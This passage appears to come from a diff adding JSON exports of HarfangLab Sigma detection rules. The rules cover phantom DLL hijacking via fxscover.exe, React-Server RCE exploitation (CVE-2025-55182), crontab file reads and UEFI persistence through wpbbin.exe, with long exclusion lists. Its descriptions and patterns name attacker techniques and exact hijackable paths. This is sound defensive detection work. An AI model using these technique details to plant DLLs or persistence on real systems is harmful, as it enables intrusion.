+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016",
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5565ad8d-5653-4d91-a582-0e35a93d3dd5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091416Z",
+  "creation_date": "2026-03-23T11:45:34.091419Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091423Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_phantom_dll_hijacking_fxscover.yml",
+  "content": "title: Phantom DLL Hijacking via fxscover.exe\nid: 5565ad8d-5653-4d91-a582-0e35a93d3dd5\ndescription: |\n    Detects a potential Windows DLL search order hijacking via fxscover.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/10/06\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'FXSCOVER.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded: '?:\\Windows\\System32\\spool\\DRIVERS\\W32X86\\3\\TPPrnUIENU.dll'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5565ad8d-5653-4d91-a582-0e35a93d3dd5",
+  "rule_name": "Phantom DLL Hijacking via fxscover.exe",
+  "rule_description": "Detects a potential Windows DLL search order hijacking via fxscover.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-10-06",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "557844a6-9c5c-4790-9e5a-11e64897142a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626073Z",
+  "creation_date": "2026-03-23T11:45:34.626075Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626080Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cert.ssi.gouv.fr/actualite/CERTFR-2025-ACT-053",
+    "https://attack.mitre.org/techniques/T1190/"
+  ],
+  "name": "t1190_potential_react_server_rce_exploitation_windows.yml",
+  "content": "title: Potential React-Server RCE Exploitation (Windows)\nid: 557844a6-9c5c-4790-9e5a-11e64897142a\ndescription: |\n    Detects suspicious command-line related to the exploitation of the React Server vulnerability (CVE-2025-55182).\n    CVE-2025-55182 is a critical React Server vulnerability that allows remote code execution through specially crafted requests sent to applications using affected React or Next.js versions.\n    It is recommended to check the behavioral context around the execution of this command to determine whether it is legitimate.\nreferences:\n    - https://cert.ssi.gouv.fr/actualite/CERTFR-2025-ACT-053\n    - https://attack.mitre.org/techniques/T1190/\ndate: 2025/12/06\nmodified: 2026/01/05\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.CVE-2025-55182\n    - classification.Windows.Exploit.React2Shell\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentCommandLine|contains: '\\next\\dist\\server\\lib\\start-server.js'\n\n    exclusion_legitimate_subprocesses:\n        CommandLine|contains:\n            # Jest worker\n            - '\\jest-worker\\'\n            - '\\jest-worker/'\n            # PostCSS\n            - '\\dev\\build\\postcss.js'\n            - '\\.next\\postcss.js'\n            # Transform\n            - '\\.next\\transform.js'\n            # Node monitoring\n            - 'netstat -ano | findstr /C::3000  | findstr LISTENING'\n            # Git\n            - 'git config --local --get remote.origin.url'\n            - 'git rev-parse '\n            # Webpack\n            - '\\.next\\dev\\build\\webpack-loaders.js'\n            - '\\.next\\webpack-loaders.js'\n            # Version commands\n            - '--version'\n            # Node config\n            - 'npm config get registry'\n            # WMIC discovery\n            - 'wmic process where executablepath is not null get executablepath'\n            # DOD\n            - '\\gc.util.DOD.back\\frontend\\src\\app\\admin'\n            # Google Maps\n            - '\\GoogleMapsComponents\\googleMapUtils.ts'\n            - '\\GoogleMapsComponents\\GoogleMapsTabsComponent.tsx'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe'\n            - '?:\\Program Files\\cursor\\Cursor.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "557844a6-9c5c-4790-9e5a-11e64897142a",
+  "rule_name": "Potential React-Server RCE Exploitation (Windows)",
+  "rule_description": "Detects suspicious command-line related to the exploitation of the React Server vulnerability (CVE-2025-55182).\nCVE-2025-55182 is a critical React Server vulnerability that allows remote code execution through specially crafted requests sent to applications using affected React or Next.js versions.\nIt is recommended to check the behavioral context around the execution of this command to determine whether it is legitimate.\n",
+  "rule_creation_date": "2025-12-06",
+  "rule_modified_date": "2026-01-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "55ac54b8-f0a3-4f7c-8a84-9f40b35ea752",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.556759Z",
+  "creation_date": "2026-03-23T11:45:34.624882Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624886Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.003/T1053.003.md",
+    "https://attack.mitre.org/techniques/T1053/003/"
+  ],
+  "name": "t1053_003_etc_crontab_read_linux.yml",
+  "content": "title: Crontab-Related Files Read (Linux)\nid: 55ac54b8-f0a3-4f7c-8a84-9f40b35ea752\ndescription: |\n    Detects a suspicious attempt to read \"/etc/crontab\" or other crontab-related files.\n    These files contain scheduled tasks, usually run with root privileges, to help maintain the system.\n    An attacker can use the list of cron jobs to inject malicious behaviour in unprotected scripts.\n    It is recommended to analyze the process responsible for reading the cron files to look for malicious content or actions.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.003/T1053.003.md\n    - https://attack.mitre.org/techniques/T1053/003/\ndate: 2023/01/03\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.003\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Discovery\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_path:\n        - Path:\n            - '/etc/crontab'\n            - '/etc/cron.*/*'\n            - '/var/spool/cron/root'\n            - '/var/spool/cron/crontabs/*'\n        - TargetPath:\n            - '/etc/crontab'\n            - '/etc/cron.*/*'\n            - '/var/spool/cron/root'\n            - '/var/spool/cron/crontabs/*'\n\n    selection_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n\n    exclusion_common:\n        ProcessImage:\n            - '*/sum'\n            - '*/md5sum'\n            - '*/sha1sum'\n            - '*/sha256sum'\n            - '*/lsattr'\n            - '*/file'\n            - '*/usr/sbin/aide'\n            - '/bin/busybox'\n            - '/bin/grep'\n            - '/usr/bin/grep'\n            - '/usr/bin/rg'\n            - '/usr/bin/rsync'\n            - '/usr/local/bin/rsync'\n            - '/bin/tar'\n            - '/usr/bin/tar'\n            - '/usr/bin/mksquashfs'\n            - '/usr/bin/oscap'\n            - '/usr/bin/podman'\n            - '/usr/bin/clamscan'\n            - '/usr/lib/systemd/systemd-readahead'\n            - '/usr/bin/rpm'\n            - '/usr/bin/dpkg'\n            - '/usr/libexec/packagekitd'\n            - '/usr/bin/zip'\n            - '/usr/bin/gnome-control-center'\n            - '/usr/bin/sed'\n            - '/usr/bin/git'\n            - '/usr/bin/kdeinit5'\n\n    exclusion_image:\n        ProcessImage:\n            - '/usr/sbin/tripwire'\n            - '/opt/endpoint-agent/agent'\n            - '/usr/bin/proxmox-backup-client'\n            - '/usr/share/auditbeat/bin/auditbeat'\n            - '/opt/olfeo/bin/sysconfig'\n            - '/opt/hpud/*/.discagnt/udscan'\n            - '/opt/vtom/abm/bin/bdaemon'\n            - '*/ossec/bin/wazuh-syscheckd'\n            - '/opt/bacula/bin/bacula-fd'\n            - '/usr/local/Atempo/TimeNavigator/tina/Bin/.tina_bck.real'\n            - '/opt/sentinelone/bin/sentinelone-agent'\n            - '/opt/bitdefender-security-tools/bin/bdsecd'\n            - '/opt/eset/efs/lib/oaeventd'\n            - '/opt/eset/efs/lib/odfeeder'\n            - '/opt/microfocus/Discovery/.discagnt/udscan'\n            - '/opt/McAfee/ens/tp/bin/mfetpd'\n            - '/opt/commvault/iDataAgent64/clBackup'\n            - '/opt/commvault2/iDataAgent64/clBackup'\n            - '/opt/ds_agent/ds_am'\n            - '/opt/ds_agent/ds_agent'\n            - '/opt/sysward/bin/sysward'\n            - '/usr/local/sbin/proxmox-backup-client'\n            - '/opt/sophos-av/engine/_/savscand.?'\n            - '/opt/Tanium/TaniumClient/TaniumCX'\n            - '/opt/traps/bin/pmd'\n            - '/opt/puppetlabs/*/bin/ruby'\n            - '/var/ossec/bin/ossec-syscheckd'\n            - '/opt/cybereason/sensor/bin/cbram'\n            - '/usr/local/avamar/bin/avtar.bin'\n            - '/opt/forticlient/scanunit'\n            - '/opt/ai-bolit/wrapper'\n            - '/opt/netbackup/openv/netbackup/bin/bpcd'\n            - '/opt/FortiEDRCollector/bin/FortiEDRCollector'\n            - '/opt/Tanium/TaniumClient/extensions/comply/jre/bin/java'\n            - '/opt/CrowdStrike/falcon-sensor-bpf*'\n            - '/opt/NAI/LinuxShield/libexec/nailsd'\n\n    exclusion_cron:\n        - ProcessImage|endswith:\n            - '/cron'\n            - '/crond'\n        - ProcessParentImage|endswith:\n            - '/cron'\n            - '/crond'\n\n    exclusion_crontab:\n        - ProcessImage|endswith: '/crontab'\n        - ProcessParentImage|endswith: '/crontab'\n\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n\n    exclusion_dsc_host1:\n        ProcessImage: '/opt/dsc/bin/dsc_host'\n        ProcessCommandLine|endswith: 'PerformInventoryOOB /etc/opt/microsoft/omsagent/conf/omsagent.d/LinuxFileChangeTracking.mof'\n        ProcessGrandparentImage|endswith: 'libexec/platform-python3.?'\n\n    exclusion_dsc_host2:\n        ProcessParentImage: '/opt/dsc/bin/dsc_host'\n        ProcessCommandLine|contains: ' /opt/microsoft/omsconfig/Scripts/'\n\n    exclusion_qualys:\n        ProcessAncestors|contains:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n\n    exclusion_bladelogic:\n        ProcessGrandparentImage:\n            - '/opt/bmc/bladelogic/RSCD/bin/rscd_full'\n            - '/opt/bladelogic/*/NSH/bin/rscd_full'\n\n    exclusion_yum:\n        ProcessCommandLine|contains: '/usr/bin/yum -y update'\n\n    exclusion_cortex:\n        ProcessImage: '/opt/traps/download/protected_payload_execution/cortex-xdr-payload'\n        ProcessGrandparentImage: '/opt/traps/bin/pmd'\n\n    exclusion_sap:\n        ProcessGrandparentImage: '/usr/sap/hostctrl/exe/saposcol'\n\n    exclusion_nautilus:\n        ProcessImage: '/usr/bin/nautilus'\n\n    exclusion_lynis:\n        ProcessParentCommandLine:\n            - '/bin/sh ./lynis audit system'\n            - '/bin/sh /usr/bin/lynis audit system --cronjob'\n            - '/bin/sh /usr/sbin/lynis audit system --cronjob'\n            - '/bin/sh /usr/sbin/lynis --quick --no-colors*'\n\n    exclusion_wazuh:\n        - ProcessImage: '/var/ossec/bin/wazuh-syscheckd'\n        - ProcessParentImage: '/var/ossec/bin/wazuh-modulesd'\n\n    exclusion_tina:\n        ProcessCommandLine:\n            - '/tina/atempodedupengine/default/bin/.exe.ade_server'\n            - '/tina/atempowebinterfaces/*'\n            - '/tina/timenavigator/tina/*'\n            - '/usr/atempo/timenavigator/tina/3rdparty/*'\n            - '/usr/atempo/timenavigator/tina/bin/*'\n            - '/usr/tina/bin/*'\n            - '/usr/tina/timenavigator/tina/bin/*'\n            - '/var/hote/timenavigator/tina/3rdparty/*'\n            - '/var/hote/timenavigator/tina/bin/*'\n\n    exclusion_fsecure:\n        - ProcessImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessParentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessGrandparentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n\n    exclusion_sosreport:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python* /usr/*bin/sosreport'\n            - '/usr/libexec/platform-python* /usr/sbin/sosreport '\n\n    exclusion_kde_kioslave:\n        ProcessImage: '/usr/lib/x86_64-linux-gnu/libexec/kf5/kioslave5'\n\n    # Used by backup scripts to backup the /etc/ folder\n    exclusion_tar_etc:\n        ProcessImage: '/usr/bin/tar'\n        ProcessCommandLine|contains:\n            - ' etc '\n            - ' etc/'\n            - '/etc '\n            - '/etc/'\n\n    exclusion_lacework_datacollector:\n        # /var/lib/lacework/6.11.0.21858/datacollector\n        # /var/lib/lacework/6.7.6.19823/datacollector\n        ProcessImage: '/var/lib/lacework/*/datacollector'\n\n    exclusion_s6_supervise:\n        ProcessParentCommandLine: 's6-supervise cron'\n\n    exclusion_supervisord:\n        ProcessParentCommandLine: '/usr/bin/python3 /usr/bin/supervisord -c /supervisord.conf'\n\n    exclusion_etckeeper:\n        ProcessParentCommandLine|startswith: '/bin/sh /etc/etckeeper/unclean.d/'\n\n    exclusion_backup:\n        ProcessImage:\n            - '/usr/sbin/bacula-fd'\n            - '/usr/sbin/xivo-backup'\n\n    exclusion_containers:\n        - ProcessImage: '/usr/bin/dockerd'\n        - ProcessAncestors|contains:\n            - '/usr/bin/runc|/usr/bin/dockerd|'\n            - '/usr/sbin/runc|/usr/sbin/dockerd|'\n            - '/usr/sbin/runc|/usr/bin/dockerd|'\n            - '/usr/bin/containerd-shim-runc-v2'\n            - '/usr/sbin/containerd-shim-runc-v2'\n\n    exclusion_snapd:\n        ProcessImage:\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n            - '/snap/core/*/usr/lib/snapd/snap-update-ns'\n            - '/usr/lib/snapd/snap-update-ns'\n\n    exclusion_aide:\n        ProcessImage|endswith: '/bin/aide'\n\n    exclusion_kalilab:\n        - ProcessCommandLine|contains: '/var/www/kalilab/'\n        - ProcessCurrentDirectory|startswith: '/var/www/kalilab/'\n\n    exclusion_facter:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/ruby /usr/bin/facter --'\n            - '/usr/bin/ruby /usr/bin/puppet agent '\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_borg:\n        ProcessCommandLine|startswith: '/usr/bin/python3 -sp /usr/bin/borg create '\n\n    exclusion_chrootkit:\n        ProcessParentCommandLine: '/bin/sh /usr/sbin/chkrootkit'\n\n    exclusion_vtom:\n        ProcessGrandparentImage: '/opt/vtom/abm/bin/bdaemon'\n\n    exclusion_python:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python* /usr/bin/borg '\n            - '/usr/bin/python* /usr/bin/duplicity '\n            - '/usr/bin/python3 /usr/bin/unattended-upgrade'\n            - '/usr/bin/python3 -s /sbin/sos report'\n\n    exclusion_webmin:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/perl /usr/share/webmin/miniserv.pl'\n            - '/usr/bin/perl /usr/share/webmin/run-postinstalls.pl'\n\n    exclusion_ai-bolit:\n        ProcessParentImage: '/opt/ai-bolit/wrapper'\n\n    exclusion_nagios:\n        - ProcessParentImage: '/usr/sbin/nrpe'\n        - ProcessAncestors|contains: '|/usr/sbin/nrpe|'\n        - ProcessCommandLine|startswith: '/usr/bin/perl -w /usr/nagios/plugins/check_'\n\n    exclusion_cfengine:\n        - ProcessParentImage: '/var/cfengine/bin/cf-execd'\n        - ProcessAncestors|contains: '|/var/cfengine/bin/cf-execd|'\n\n    exclusion_networker:\n        ProcessParentImage: '/usr/sbin/nsrexecd'\n\n    exclusion_graylog:\n        ProcessParentImage: '/usr/bin/graylog-sidecar'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "55ac54b8-f0a3-4f7c-8a84-9f40b35ea752",
+  "rule_name": "Crontab-Related Files Read (Linux)",
+  "rule_description": "Detects a suspicious attempt to read \"/etc/crontab\" or other crontab-related files.\nThese files contain scheduled tasks, usually run with root privileges, to help maintain the system.\nAn attacker can use the list of cron jobs to inject malicious behaviour in unprotected scripts.\nIt is recommended to analyze the process responsible for reading the cron files to look for malicious content or actions.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "55b1e22e-14ef-432e-89d5-130a2abf8726",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071803Z",
+  "creation_date": "2026-03-23T11:45:34.071805Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071809Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://persistence-info.github.io/Data/wpbbin.html",
+    "https://attack.mitre.org/techniques/T1542/001/"
+  ],
+  "name": "t1542_001_possible_execution_from_uefi_persistence.yml",
+  "content": "title: Possible UEFI Persistence Detected\nid: 55b1e22e-14ef-432e-89d5-130a2abf8726\ndescription: |\n    Detects the execution of a process which image is wpbbin.exe, which can be indicative of a malicious execution from UEFI persistence.\n    This binary is placed by the BIOS into System32 directory and is executed by smss.exe (Session Manager Subsystem) during OS startup.\n    Malicious actors can use this feature as a persistence mechanism by putting a malicious wpbbin.exe into System32 directory that will be executed at the next startup.\n    It is recommended to investigate the wpbbin.exe process to look for potential malicious actions.\nreferences:\n    - https://persistence-info.github.io/Data/wpbbin.html\n    - https://attack.mitre.org/techniques/T1542/001/\ndate: 2022/07/20\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1542.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image: '?:\\Windows\\System32\\wpbbin.exe'\n\n    filter_legitimate_signature:\n        Signature:\n            - 'Absolute Software Corp.'\n            - 'ASUSTeK Computer Inc.'\n            - 'GIGA-BYTE Technology Co.'\n            - 'HP Inc.'\n            - 'LENOVO'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "55b1e22e-14ef-432e-89d5-130a2abf8726",
+  "rule_name": "Possible UEFI Persistence Detected",
+  "rule_description": "Detects the execution of a process which image is wpbbin.exe, which can be indicative of a malicious execution from UEFI persistence.\nThis binary is placed by the BIOS into System32 directory and is executed by smss.exe (Session Manager Subsystem) during OS startup.\nMalicious actors can use this feature as a persistence mechanism by putting a malicious wpbbin.exe into System32 directory that will be executed at the next startup.\nIt is recommended to investigate the wpbbin.exe process to look for potential malicious actions.\n",
+  "rule_creation_date": "2022-07-20",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1542.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "56320185-bef7-49c7-b8cf-e2f646e9ba86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071523Z",
+  "creation_date": "2026-03-23T11:45:34.071525Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071529Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/gossithedog/status/1367168122403368962?lang=fr",
+    "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
+    "https://attack.mitre.org/techniques/T1505/003/"
+  ],
+  "name": "t1505_003_suspicious_aspx_creation_microsoft_exchange.yml",
